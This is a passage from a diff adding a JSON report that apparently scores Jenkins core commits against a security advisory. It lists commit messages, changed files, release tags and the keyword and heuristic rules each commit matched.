"jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8795", + "relevance": 2 + } + ] + }, + { + "commit_id": "044c071235f0a64fb8390e784c7e1abb52aecb05", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703183829, + "hunks": 2, + "message": "Fix import used for Javadoc (#8790) Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/java/hudson/cli/declarative/CLIMethod.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8790": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8790", + "relevance": 2 + } + ] + }, + { + "commit_id": "b0cec677280708bbfafd3eb5eaa2bc98b241fc07", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702975375, + "hunks": 4, + "message": "Add telemetry for basic Java system properties (#8787)", + "changed_files": [ + "core/src/main/java/jenkins/telemetry/impl/JavaSystemProperties.java", + "core/src/main/resources/hudson/model/UsageStatistics/help-usageStatisticsCollected.jelly", + "core/src/main/resources/jenkins/telemetry/impl/JavaSystemProperties/description.jelly", + "core/src/main/resources/jenkins/telemetry/impl/JavaSystemProperties/description.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8787": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8787", + "relevance": 2 + } + ] + }, + { + "commit_id": "a190edf08212d87fc1ed238e96ed64f529abdefa", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1699154525, + "hunks": 2, + "message": "[JENKINS-72252] Warn 12 months and 3 months before end of Java support (#8661) Show Java version admin monitor at 12 months and 3 months Daniel Beck described his recommendation to alert users at 12 months and at 3 months prior to the end of support of a Java version. He wrote: > The second warning in particular needs to strike a balance between > being shown late enough so it's actually relevant for whoever hasn't > acted yet, while being shown early enough that slightly more elaborate > environments (difficult to schedule maintenance windows) are informed > in time. 3 months aligns rather nicely with the LTS schedule where > we kinda expect folks to do that anyway. > > 18/9, or even 12/6 errs too far on the side of those for whom this is > extreme effort (and who dismissed the first message more appropriate for > their environment!), while showing everyone else completely irrelevant > notices they won't care about for many months to come. https://github.com/jenkinsci/jep/pull/400#discussion_r1371510566 provides more details. The Java 8 to Java 11 transition saw a significant change in adoption of Java 11 once the admin monitor was visible to users. That was shown slightly over 12 months before the release that required Java 11. This change continues that pattern of 12 months warning before end of support. https://github.com/jenkinsci/jep/pull/400#discussion_r1375623888 has a graph that shows the adoption curves for Java 8, Java 11, and Java 17. (cherry picked from commit aeb64c0c3d097131b3f59d7fe9d1cce1f41de336)", + "changed_files": [ + "core/src/main/java/jenkins/monitor/JavaVersionRecommendationAdminMonitor.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8661": "2+2+2 Java Support Plan jenkinsci/jep#400 Fix link to end of Java support changelog entry for 2.426.2 jenkins-infra/jenkins.io#6946" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.426.2", + "jenkins-2.426.2-rc-1", + "jenkins-2.426.3", + "jenkins-2.426.3-rc" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: LTS", + "relevance": 8 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8661", + "relevance": 2 + } + ] + }, + { + "commit_id": "4089150245288c2fd8c1036ea4b4d597ef995d88", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707839297, + "hunks": 4, + "message": "Don't animate admin monitor popup on page load, properly remove interactable UI elements (#8954) * followup for #8941, don't animate on page load PR #8941 caused a regression that the hiding animation was played on page load. This change ensures that the hiding animation is only applied when the widget was visible before * scale to 0 (cherry picked from commit e5fd9127b73b640cd639695cbbcb59d985f836c0)", + "changed_files": [ + "core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css", + "core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8941": "Update appearance of controls in header #8791 [JENKINS-72679] Don't animate admin monitor popup on page load, properly remove interactable UI elements #8954 [JENKINS-72679] Revert #8791 #8956", + "8954": "[JENKINS-72679] Allow button clicks after an administrative monitor popup is closed #8941 [JENKINS-72679] Revert #8791 #8956 Jenkins LTS 2.452.1 - create changelog & upgrade guide jenkins-infra/jenkins.io#7275" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "e5fd9127b73b640cd639695cbbcb59d985f836c0" + ] + ], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: follow", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8941, 8954", + "relevance": 2 + } + ] + }, + { + "commit_id": "77c2115fa87457d6f744695b27a397a353c27a06", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705424857, + "hunks": 5, + "message": "[SECURITY-3315] (cherry picked from commit de450967f38398169650b55c002f1229a3fcdb1b)", + "changed_files": [ + "core/src/main/java/hudson/cli/CLIAction.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + } + ] + }, + { + "commit_id": "1da7c9cb68b607d9a560974430c80e3f823c3e64", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710448466, + "hunks": 6, + "message": "Add help text for Markup Formatter setting (#9038) * Restore help text for Markup Formatter setting * Update core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-markupFormatter.html Co-authored-by: Mark Waite * mvn -pl war frontend:yarn -Dfrontend.yarn.arguments=lint:fix --------- Co-authored-by: Daniel Beck Co-authored-by: Mark Waite ", + "changed_files": [ + "core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-markupFormatter.html", + "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter.html", + "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_bg.html", + "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_it.html", + "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_ja.html", + "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_zh_TW.html" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9038": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: argument", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9038", + "relevance": 2 + } + ] + }, + { + "commit_id": "89195cc248eb973dae4212d613914d616805bc1d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709734771, + "hunks": 2, + "message": "[JENKINS-72796] stable context classloader for Computer.threadPoolForRemoting (#9012) * [JENKINS-72796] stable context classloader for Computer.threadPoolForRemoting Whilst the threadpool used reset the context classloader at the end of any task, it did not ensure that the initial c;lassloader used was anything sepcific, rather it would use whatever the calling threads contextClassLoader was. This is now fixed as we use the Jenkins WebApp classloader (same as the Timer) which is used by (A)PeriodicTasks. Whilst we should really not have a context classloader (aka null) and this should be set where needed by code, almost everywhere in Jenkins the context classloader is already the webapp classloader, and so setting this to be different depending on how things where called would seemingly be a little scary. Arguably this and other context classloaders should be all set to null and any code that wants different should be changed, but this is a larger piece of work that would have potential impact on an unknown number of plugins in the ecosystem, so this fix uses what was set > 90% of the time. * Update core/src/test/java/hudson/model/ComputerTest.java --------- Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com>", + "changed_files": [ + "core/src/main/java/hudson/model/Computer.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9012": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9012", + "relevance": 2 + } + ] + }, + { + "commit_id": "c7ccbfdde15511b29b0b649b62b1d9fec09284dd", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709563570, + "hunks": 1, + "message": "[JENKINS-72799] Apply `SlaveComputer.decorate` also to `openLogFile` (#9009)", + "changed_files": [ + "core/src/main/java/hudson/slaves/SlaveComputer.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9009": "Overhaul of SlaveLaunchLogs jenkinsci/support-core-plugin#517 Deleting Jenkins72799Hack jenkinsci/support-core-plugin#532" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9009", + "relevance": 2 + } + ] + }, + { + "commit_id": "77731ddea9a0e8f76fb87a4c0fd3a27e745ef3c6", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709458502, + "hunks": 8, + "message": "Remove usages of `ArrayUtils` (#9001)", + "changed_files": [ + "core/src/main/java/hudson/model/Run.java", + "core/src/main/java/hudson/util/MultipartFormDataParser.java", + "core/src/main/java/hudson/util/Protector.java", + "core/src/main/java/jenkins/security/ResourceDomainRootAction.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9001": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: parser", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9001", + "relevance": 2 + } + ] + }, + { + "commit_id": "02c99cb3de4af5f41b4a12df84d16e9917cf8db8", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709458490, + "hunks": 1, + "message": "Replace pipeline-stage-view with graph-view in the setup wizard (#8884) Signed-off-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/resources/jenkins/install/platform-plugins.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8884": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: replace", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8884", + "relevance": 2 + } + ] + }, + { + "commit_id": "a174f985d4574f9056afd497694456ee0988a975", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709331507, + "hunks": 1, + "message": "[JENKINS-72759] fix handling of readonly for select without parent div (#8984) [JENKINS-72759] fix handling of readonly for selects when no parent div is present that has .jenkins-select we get a null element and the script runs into an error.", + "changed_files": [ + "core/src/main/resources/lib/form/select/select.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8984": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8984", + "relevance": 2 + } + ] + }, + { + "commit_id": "d42e0786a4e2cf90fbec11c1009578d994c7deee", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709155310, + "hunks": 5, + "message": "Null out `ProxyConfiguration.userName` on save (#8990) * Null out `ProxyConfiguration.userName` on save * Since we already have a `readResolve`, may as well use it to clean up historical `userName` of `\"\"` https://github.com/jenkinsci/jenkins/pull/8990#discussion_r1502295510 * Linking to new JDK-8326949", + "changed_files": [ + "core/src/main/java/hudson/ProxyConfiguration.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8990": "Feature/token jenkinsci/jira-steps-plugin#187" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8990", + "relevance": 2 + } + ] + }, + { + "commit_id": "885978daf0b218e4956f3df262b96a9234c421ae", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708756408, + "hunks": 1, + "message": "use symbol for parameters in build history of pending jobs (#8977) use symbol for parameters in build history replace the notepad icon in the build history for pending jobs with the symbol for parameters Remove the wrapper in a link that does nothing except altering the location", + "changed_files": [ + "core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8977": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: replace", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8977", + "relevance": 2 + } + ] + }, + { + "commit_id": "5304da10a6f24088a56c4a00e1d3c7058c7b63fa", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708351161, + "hunks": 53, + "message": "[JENKINS-69113] renovate progressBar (#8821) * [JENKINS-69113] renovate progressBar The progressbar used at various places is replaced by a div/span compbination and gets a new styling that is in sync with other ui elements. Mainly it has rounded corners. The bar is always animated opposed to old behaviour where it was only animated when the estimated remaining time was unknown. Animation is now based on css and no longer a gif. All colors are defined via variables so they can be adjusted by themes. The build progress bar shown on run and console views is now updated dynamically. The progress bar used in progressive rendering is doubled in size to make it more prominent that it is still running (See [JENKINS-72138], this doesn't solve the problem but might lower the chance that people reload the mentioned page because they think nothing happens). * apply prettier * scss style * set status url the parameters page also includes the buildCaption.jelly. But the js is using a relative url thus accessing `statusIcon` fails. Store status url in the div and read from there. * apply behaviour so tooltip is shown after icon update fix url * incorporate feedback use existing colors only animate when unknown or with flag animate via build caption and progressive rendering * adjust class name * adjust bg color * fix style * sRGB * avoid j:out --------- Co-authored-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/resources/hudson/model/Run/statusIcon.jelly", + "core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Installing/status.jelly", + "core/src/main/resources/lib/hudson/build-caption.js", + "core/src/main/resources/lib/hudson/buildCaption.jelly", + "core/src/main/resources/lib/hudson/buildProgressBar.jelly", + "core/src/main/resources/lib/hudson/buildProgressBar.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_bg.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_ca.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_cs.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_da.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_de.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_el.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_es.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_es_AR.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_et.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_fi.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_fr.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_he.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_hu.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_it.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_ja.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_ko.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_lt.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_lv.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_nb_NO.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_nl.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_pl.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_pt_BR.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_pt_PT.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_ro.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_ru.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_sk.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_sl.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_sr.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_sv_SE.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_tr.properties", + "core/src/main/resources/lib/hudson/buildProgressBar_zh_TW.properties", + "core/src/main/resources/lib/hudson/progressBar.jelly", + "core/src/main/resources/lib/layout/progressiveRendering.jelly", + "core/src/main/resources/lib/layout/progressiveRendering/progressiveRendering.js", + "war/src/main/scss/components/_index.scss", + "war/src/main/scss/components/_progress-bar.scss", + "war/src/main/webapp/scripts/hudson-behavior.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8821": "Add information on progress bars jenkinsci/design-library-plugin#305 Update dependency org.jenkins-ci.main:jenkins-war to v2.446 jenkinsci/bom#2936 compatibility for new progressbar rendering jenkinsci/acceptance-test-harness#1493 Make NoTriggerBranchPropertyTest pass against 2.446 jenkinsci/branch-api-plugin#435" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: replace, read", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8821", + "relevance": 2 + } + ] + }, + { + "commit_id": "824f64c23e52e5c765cc7604414740aab3436f8d", + "repository": "https://github.com/jenkinsci/jenkins", + 